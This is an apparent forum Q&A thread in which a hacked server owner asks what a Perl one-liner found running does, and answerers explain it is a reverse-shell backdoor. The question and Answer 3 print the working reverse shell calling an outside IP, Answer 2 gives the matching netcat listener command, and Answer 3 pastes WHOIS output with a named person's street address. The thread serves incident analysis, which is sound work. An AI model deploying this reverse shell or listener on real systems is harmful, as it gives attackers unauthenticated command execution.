What does this nefarious program do? - perl

Question

My server got hacked, and ps aux shows that it's running this program now:
perl -MIO -e $p=fork;exit,if($p);$c=new IO::Socket::INET (PeerAddr,"169.50.9.58:1212");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;
I don't know Perl...what is this program doing?

Answer 1

It opens a socket to that IP. Then it sets up the STDIN to read from it and the STDOUT to go to it. So it builds a direct communication channel between the process and that IP.
Then it goes into a while loop in which it runs via system whatever comes through STDIN.
It does this in a forked process, fire-and-forget (detached) style, where the parent exits right away. So this executes and exits and there is another process that talks with that IP and runs commands.

Answer 2

Short answer:
system$_ while<>;
basically means "as long as there is input, execute the commands you get."
If I run nc -l -p 1212 on my machine, and then you run this script on your machine, then you open a connection to me where I can issue commands that your machine will run.

Answer 3

That Perl code is equivalent to this
You have already been told what it does; it's clearly malicious
use IO;
$p = fork;
exit, if ( $p );
$c = IO::Socket::INET->new( PeerAddr => "169.50.9.58:1212" );
STDIN->fdopen( $c, 'r' );
$~->fdopen( $c, 'w' );
system $_ while <>;
Here's the result of querying whois.com for that IP address. You may want to send an email to the "abuse" address
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf
% Note: this output has been filtered.
% To receive output for a database update, use the "-B" flag.
% Information related to '169.50.9.32 - 169.50.9.63'
% Abuse contact for '169.50.9.32 - 169.50.9.63' is 'email#softlayer.com'
inetnum: 169.50.9.32 - 169.50.9.63
netname: NETBLK-SOFTLAYER-RIPE-CUST-JS17702-RIPE
descr: VidScale, Inc
country: US
admin-c: JS17702-RIPE
tech-c: JS17702-RIPE
status: LEGACY
mnt-by: MAINT-SOFTLAYER-RIPE
created: 2016-01-09T01:24:25Z
last-modified: 2016-01-09T01:24:25Z
source: RIPE
person: John Scharber
address: 4406 Whistling Wind Way
address: Placerville, CA 95667 US
phone: [phone]
nic-hdl: JS17702-RIPE
abuse-mailbox: email#vidscale.com
mnt-by: MAINT-SOFTLAYER-RIPE
created: 2016-01-09T01:24:23Z
last-modified: 2016-01-09T01:24:23Z
source: RIPE
% This query was served by the RIPE Database Query Service version 1.88.1 (BLAARKOP)

Answer 4

The other answers already adequately answer how this back door works. Just to recap, it allows an unprivileged user access to the system without authenticating. You only need to know which port number to connect to in order to run arbitrary programs on the computer.
The reason this is "nefarious" is that it bypasses authentication. If it required you to log in with a valid user name and password, it would not be much different from a basic telnet server. (Granted, those are bad too; in today's world you would absolutely require encrypted authenticated access, i.e. ssh or similar.)
A user who already has legitimate login access to your system has no need to run a program like this. They already have ssh access or similar.
The reason intruders install such programs is often that it allows them to pivot from a simple vulnerability (like a simple "Bobby Tables" SQL injection) which only allows them to run a single command. Now they have interactive access and can conveniently run many commands without using (and potentially exposing) the original exploit again; from here, they can probably figure out a way to pivot further on to a privileged account (i.e. root), or initiate lateral movement to other systems within your perimeter.